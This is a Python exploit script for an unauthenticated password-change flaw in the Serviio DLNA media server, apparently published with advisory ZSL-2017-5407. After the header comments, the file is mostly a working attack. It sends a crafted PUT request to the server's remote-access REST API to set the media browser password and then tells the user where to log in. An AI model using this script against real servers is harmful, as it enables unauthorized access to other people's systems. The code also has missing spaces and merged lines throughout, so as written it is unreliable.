#!/usr/bin/env python
#
#
# ServiioPRO1.8DLNAMediaStreamingServerRESTAPIArbitraryPasswordChange
#
#
# Vendor:PetrNejedly|SixLinesLtd
# Product web page: http://www.serviio.org
# Affected version:1.8.0.0PRO,1.7.1,1.7.0,1.6.1
#
# Summary:Serviio is a free media server. It allows you tostream your media
# files (music, video or images)torenderer devices (e.g. a TV set,Bluray player,
# games console or mobile phone) on your connected home network.
#
# Desc:The version of Serviio installed on the remote Windows/Linux host is affected
# by an unauthenticated password modification vulnerability due toimproper access
# control enforcement of the ConfigurationRESTAPI. A remote attacker can exploit this,
# via a specially crafted request,tochange the login password for the mediabrowser protected
# page.
#
# Tested on:Restlet-Framework/2.2
#Windows7,UPnP/1.0DLNADOC/1.50,Serviio/1.8
#MacOSX,UPnP/1.0DLNADOC/1.50,Serviio/1.8
#Linux,UPnP/1.0DLNADOC/1.50,Serviio/1.8
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# AdvisoryID:ZSL-2017-5407
# AdvisoryURL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5407.php
#
# SSDAdvisory: https://blogs.securiteam.com/index.php/archives/3094
#
#
# 12.12.2016
#
importsysimportxml.etree.ElementTree as ET
from urllib2 importRequest, urlopen
if(len(sys.argv)<=3):
print '[*]Usage: serviio_pwd.py <ipaddress><port><newpassword>'
print '[*]Example: serviio_pwd.py 10.211.55.323423 eagle20fox2'
exit(0)
host = sys.argv[1]
port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424.
lozi = sys.argv[3]
values ="""
<remoteAccess>
<remoteUserPassword>{0}</remoteUserPassword>
<preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality>
<portMappingEnabled>true</portMappingEnabled>
<externalAddress>myserviio.dyndns.com</externalAddress>
</remoteAccess>"""
put = values.format(lozi)
headers ={
'Content-Type': 'application/xml','Accept': 'application/xml'
}
request =Request('http://'+host+':'+port+'/rest/remote-access', data=put, headers=headers)
request.get_method = lambda:'PUT'
response_body =urlopen(request).read()
roottree =ET.fromstring(response_body)for errorcode in roottree.iter('errorCode'):
print "\nReceived error code: "+errorcode.text
print 'Password successfully changed to: '+lozi
print 'Goto: http://'+host+':23424/mediabrowser\n'